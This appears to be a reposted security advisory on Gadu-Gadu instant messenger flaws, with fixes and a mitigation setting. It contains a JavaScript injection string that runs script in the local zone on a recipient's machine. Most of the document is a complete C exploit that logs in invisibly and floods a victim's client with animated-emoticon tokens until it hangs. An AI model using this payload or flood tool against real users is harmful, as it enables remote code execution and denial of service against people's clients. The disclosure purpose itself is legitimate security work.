|
Brought to you by:
Suppliers of:
|
|
|
| |
| Gadu-Gadu is "the first Polish instant messenger". Multiple vulnerabilities in Gadu-Gadu allow a malicious attacker to crash a client and to execute arbitrary code on a target machine. |
| |
Credit:
The information has been provided by Jaroslaw Sajko.
|
| |
Vulnerable Systems:
* Gadu-Gadu, build 155 and prior
Immune Systems:
* Gadu-Gadu, build 156 and later
Arbitrary JavaScript execution:
We can send a malicious string which has an URL inside. This URL can be a JavaScript code for example or reference to such a code. Code will execute when the window message pops up. Code will execute in LOCAL ZONE! Works also with older versions.
Example:
Send such a string to any receipting:
www.po"style=background-image:url(javascript:document.write('%3cscript%3ealert%28%22you%20are%20owned!%22%29%3c%2fscript%3e'));".pl
Solution:
Upgrade to latest version of Gadu-Gadu.
Endless Loop when Sending Images:
In the latest build there is a new feature, a loop checking filename for disallowed characters, but the loop can become infinite under some circumstances. If an image name isn't starting with the '..', '/', '\' or '' then Gadu-Gadu applications falls into infinite loop, consumes resources, and will not receive or send any message anymore. So we have a simple DoS.
Example:
Send any image (filename must be a 'normal' filename) to your friend.
Solution:
Upgrade to latest version of gadu-gadu.
Animated Emoticons Auto Conversion DoS:
By sending simple messages to the client that contain a huge amount of well known strings that are converted to images (i.e. "!!" converted to an animating exclamation mark or "<glaszcze>" converted to an animated emoticon) one is able to cause Gadu-Gadu to hang and force the user to kill the program. As long as the attacker's uin is not on the victim's blocked list the attacker is free to exploit the vulnerability. This means that creating new users just to wreck havoc among Gadu-Gadu users would be very effective.
Solution:
There is little that users can do about this remote DoS. It is not required for the attacker to be in the victim's contact list, no other options limit the functionality that causes this DoS (like DCC, image size, proxies). Until the vendor releases a fixed version It is recommend the users enable the option that lets us not to show messages from users outside our contact list. This option is called "Nie pokazuj wiadomosci od nieznajomych" and is available in a couple of latest versions of Gadu-Gadu 6.
This way if we do not know the attacker, we are safe, the messages will be blocked.
Proof of Concept:
The exploit code require: libgadu.h
/*
* Gadu-Gadu killer by Maciej Soltysiak (http://soltysiak.com)
*
* Exploit polega na wyslaniu sporej ilosci tekstu, ktora klient Gadu-Gadu
* zrenderuje a graficzne animacje, a to powinno zawiesic program.
*
* gcc -o ggkill ggkill.c -lgadu
*
* Wymaga biblioteki libgadu
*
* -lssl w razie gdyby buczalo o ssl
*/
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <libgadu.h>
#include <signal.h>
time_t current_time;
void log_simple(const char *txt)
{
/* The "!!" are to show it was log_simple */
fprintf(stderr, "!! %s\n", txt);
return;
}
void log_string(const char *fmt, ...)
{
char buf[320];
va_list args;
int n;
va_start(args, fmt);
n = vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
if (n >= sizeof(buf))
log_simple("log_string: vsnprintf truncated");
else if (n < 0)
log_simple("log_string: vsnprintf failed");
n = fprintf(stderr, ":: %s\n", buf);
if (n < 0)
log_simple("log_string: fprintf returned an error");
return;
}
/* Global Gadu-Gadu handle */
struct gg_session *gadu_sess = NULL;
#define GG_CONN_TIMEOUT 10
void gadu_disconnect(void)
{
if (gadu_sess != NULL)
{
log_simple("gadu_disconnect");
gg_logoff(gadu_sess);
gg_free_session(gadu_sess);
gadu_sess = NULL;
}
return;
}
static void init_signals(void)
{
struct sigaction sigact;
sigact.sa_flags = SA_NODEFER;
sigact.sa_handler = (void *) gadu_disconnect;
sigemptyset(&sigact.sa_mask);
sigaction(SIGTERM, &sigact, NULL);
sigaction(SIGHUP, &sigact, NULL);
sigaction(SIGQUIT, &sigact, NULL);
sigaction(SIGINT, &sigact, NULL);
}
static inline void gadu_connect(int uin, char *pass)
{
struct gg_login_params gadu_p;
fd_set rd, wd;
struct gg_event *e;
struct timeval tv;
int ret;
memset(&gadu_p, 0, sizeof(gadu_p));
gadu_p.uin = uin;
gadu_p.password = pass;
gadu_p.async = 1;
gadu_sess = gg_login(&gadu_p);
for (;;) {
FD_ZERO(&rd);
FD_ZERO(&wd);
if ((gadu_sess->check & GG_CHECK_READ))
FD_SET(gadu_sess->fd, &rd);
if ((gadu_sess->check & GG_CHECK_WRITE))
FD_SET(gadu_sess->fd, &wd);
tv.tv_sec = GG_CONN_TIMEOUT;
tv.tv_usec = 0;
ret = select(gadu_sess->fd + 1, &rd, &wd, NULL, &tv);
if (!ret) {
gadu_disconnect();
} else {
if (gadu_sess && (FD_ISSET(gadu_sess->fd, &rd) || FD_ISSET(gadu_sess->fd, &wd))) {
if (!(e = gg_watch_fd(gadu_sess))) {
log_simple("gadu_connect: connection lost!");
gadu_disconnect();
}
if (e->type == GG_EVENT_CONN_SUCCESS) {
log_simple("gadu_connect: success.");
gg_free_event(e);
break;
}
if (e->type == GG_EVENT_CONN_FAILED) {
log_simple("gadu_connect: failed.");
gg_free_event(e);
gadu_disconnect();
}
gg_free_event(e);
}
}
}
gg_change_status(gadu_sess, GG_STATUS_INVISIBLE);
}
int main(int argc, char *argv[])
{
unsigned int wait;
struct timeval now_time;
char *b;
int uin, v_uin;
int i, i_max = 120;
if (argc != 4)
{
log_string("skladnia: %s <twoj_uin> <twoje_haslo> <uin_ofiary>\n" \
"Pamietaj wylogowac sie ze swojegu uina z gadu.",
argv[0]);
return 0;
}
if ((uin = atoi(argv[1])) <= 0)
{
log_simple("Podaj twoj poprawny numer.");
return 0;
}
b = (char *) malloc(i_max * strlen("<glaszcze>"));
if (!b)
{
log_simple("main: failled to malloc");
return;
}
uin = atoi(argv[1]);
v_uin = atoi(argv[3]);
/* fill the buffer with shit */
b[0] = '\0';
for (i=0;i<i_max;i++)
strcat(b, "<glaszcze>");
strcat(b, "\0");
init_signals();
/* connect */
gadu_connect(uin, argv[2]);
/* send the shit */
while(i_max--)
{
usleep(5e4);
gg_send_message(gadu_sess, GG_CLASS_MSG, v_uin, b);
}
/* disconnect */
gadu_disconnect();
return 0;
}
|
|
|
|
|